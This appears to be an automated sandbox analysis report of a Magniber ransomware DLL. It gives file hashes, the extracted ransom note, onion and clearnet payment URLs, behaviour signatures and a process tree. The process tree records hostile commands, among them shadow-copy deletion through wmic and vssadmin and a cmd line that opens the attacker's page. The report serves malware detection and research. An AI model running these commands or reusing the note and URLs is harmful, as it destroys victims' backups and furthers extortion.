Overview

overview

10

Static

static

tempa.dll

windows7_x64

10

tempa.dll

windows11_x64

10

tempa.dll

windows10_x64

10

Analysis

  • max time kernel
    301s
  • max time network
    305s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27-08-2021 11:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tempa.dll

  • Size

    38KB

  • MD5

    b90ea37466ff51b92394c61642360f27

  • SHA1

    1137d8f12c1f1c1a4cb16b5f36a6e297b53d969c

  • SHA256

    d7ac1232f9860102bc977ecf949543f83f3d651d7a1e55af3c1d0bacddf68a2f

  • SHA512

    ade05a09a533c08be307303abe5fcff2fe62b23b73da1b1e1b0d9c83c8d4a93a250fc4500264f2dc7357a4c51633ed7548ec23c57a689f2045086f7de3874220

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://1e44620834ec44d02ehvbluctpp.7cdpfkmp6tm2t7ce6m7fdldv4eor5jxotxj6v23djv73mwfstpq3ebad.onion/hvbluctpp Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://1e44620834ec44d02ehvbluctpp.burybig.xyz/hvbluctpp http://1e44620834ec44d02ehvbluctpp.centone.top/hvbluctpp http://1e44620834ec44d02ehvbluctpp.joyfits.site/hvbluctpp http://1e44620834ec44d02ehvbluctpp.dumpour.space/hvbluctpp Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://1e44620834ec44d02ehvbluctpp.7cdpfkmp6tm2t7ce6m7fdldv4eor5jxotxj6v23djv73mwfstpq3ebad.onion/hvbluctpp

http://1e44620834ec44d02ehvbluctpp.burybig.xyz/hvbluctpp

http://1e44620834ec44d02ehvbluctpp.centone.top/hvbluctpp

http://1e44620834ec44d02ehvbluctpp.joyfits.site/hvbluctpp

http://1e44620834ec44d02ehvbluctpp.dumpour.space/hvbluctpp

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\tempa.dll,#1
    1⤵
    • Modifies extensions of user files
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:396
    • C:\Windows\system32\notepad.exe
      notepad.exe C:\Users\Public\readme.txt
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:2180
    • C:\Windows\system32\cmd.exe
      cmd /c "start http://1e44620834ec44d02ehvbluctpp.burybig.xyz/hvbluctpp^&1^&32176128^&88^&349^&2215063"
      2⤵
      • Checks computer location settings
      PID:3016
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
        PID:4052
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2120
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1036
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2216
    • C:\Windows\system32\cmd.exe
      cmd /c computerdefaults.exe
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\system32\ComputerDefaults.exe
        computerdefaults.exe
        2⤵
          PID:2492
      • C:\Windows\system32\cmd.exe
        cmd /c computerdefaults.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3964
        • C:\Windows\system32\ComputerDefaults.exe
          computerdefaults.exe
          2⤵
            PID:3544
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /all /quiet
          1⤵
          • Process spawned unexpected child process
          • Interacts with shadow copies
          PID:3856
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
            PID:2264
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
            1⤵
            • Drops file in Windows directory
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:676
          • C:\Windows\system32\browser_broker.exe
            C:\Windows\system32\browser_broker.exe -Embedding
            1⤵
            • Modifies Internet Explorer settings
            PID:3976
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
            • Modifies registry class
            PID:2860
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies registry class
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of SetWindowsHookEx
            PID:3860
          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
            1⤵
            • Modifies Internet Explorer settings
            • Modifies registry class
            PID:4104

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/396-124-0x00000251CE400000-0x00000251CE401000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-117-0x00000251CD880000-0x00000251CD881000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-125-0x00000251CE410000-0x00000251CE411000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-118-0x00000251CD890000-0x00000251CD891000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-119-0x00000251CE380000-0x00000251CE381000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-120-0x00000251CE390000-0x00000251CE391000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-121-0x00000251CE3A0000-0x00000251CE3A1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-122-0x00000251CE3E0000-0x00000251CE3E1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-139-0x0000000101EA0000-0x0000000101EA1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-114-0x00000251CDA70000-0x00000251CE374000-memory.dmp

            Filesize

            9.0MB

            Download

          • memory/396-130-0x0000000100380000-0x0000000100385000-memory.dmp

            Filesize

            20KB

            Download

          • memory/396-116-0x00000251CD870000-0x00000251CD871000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-123-0x00000251CE3F0000-0x00000251CE3F1000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-115-0x00000251CD860000-0x00000251CD861000-memory.dmp

            Filesize

            4KB

            Download

          • memory/396-129-0x0000000100370000-0x0000000100371000-memory.dmp

            Filesize

            4KB

            Download

          • memory/3780-128-0x0000022075720000-0x0000022075728000-memory.dmp

            Filesize

            32KB

            Download

          • memory/3780-127-0x0000022075720000-0x0000022075721000-memory.dmp

            Filesize

            4KB

            Download

          • memory/3780-126-0x0000022075730000-0x0000022075738000-memory.dmp

            Filesize

            32KB

            Download